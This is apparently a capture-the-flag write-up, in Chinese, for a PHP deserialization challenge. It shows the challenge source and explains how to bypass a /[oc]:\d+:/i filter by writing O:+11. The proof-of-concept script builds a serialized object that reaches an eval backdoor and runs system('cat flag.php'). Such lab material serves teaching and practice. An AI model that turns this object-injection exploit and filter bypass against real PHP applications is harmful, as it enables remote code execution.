PHP/5.6.40正则绕过

    1. <?php
    2. /*
    3. # -*- coding: utf-8 -*-
    4. # @Author: h1xa
    5. # @Date: 2020-12-02 17:44:47
    6. # @Last Modified by: h1xa
    7. # @Last Modified time: 2020-12-02 21:38:56
    8. # @email: h1xa@ctfer.com
    9. # @link: https://ctfer.com
    10. */
    11. error_reporting(0);
    12. highlight_file(__FILE__);
    13. class ctfShowUser{
    14. public $username='xxxxxx';
    15. public $password='xxxxxx';
    16. public $isVip=false;
    17. public $class = 'info';
    18. public function __construct(){
    19. $this->class=new info();
    20. }
    21. public function login($u,$p){
    22. return $this->username===$u&&$this->password===$p;
    23. }
    24. public function __destruct(){
    25. $this->class->getInfo();
    26. }
    27. }
    28. class info{
    29. public $user='xxxxxx';
    30. public function getInfo(){
    31. return $this->user;
    32. }
    33. }
    34. class backDoor{
    35. public $code;
    36. public function getInfo(){
    37. eval($this->code);
    38. }
    39. }
    40. $username=$_GET['username'];
    41. $password=$_GET['password'];
    42. if(isset($username) && isset($password)){
    43. if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
    44. $user = unserialize($_COOKIE['user']);
    45. }
    46. $user->login($username,$password);
    47. }

    分析:
    绕过正则 /[oc]:\d+:/i , 其实就是 C:数字 或 O:数字 不连续,这里只需让 O:11 不连续即可,比如 O:+11

    poc

    1. <?php
    2. class ctfShowUser{
    3. public function __construct(){
    4. $this->class=new backDoor();
    5. }
    6. }
    7. class backDoor{
    8. public $code = 'system("cat flag.php");';
    9. }
    10. $user = new ctfShowUser();
    11. $user_replace = preg_replace('/([oc]\:)(\d+)/i', '$1+$2', serialize($user));
    12. echo urlencode($user_replace);
    13. ?>

    image.png
    图中 %2b+ 的 url编码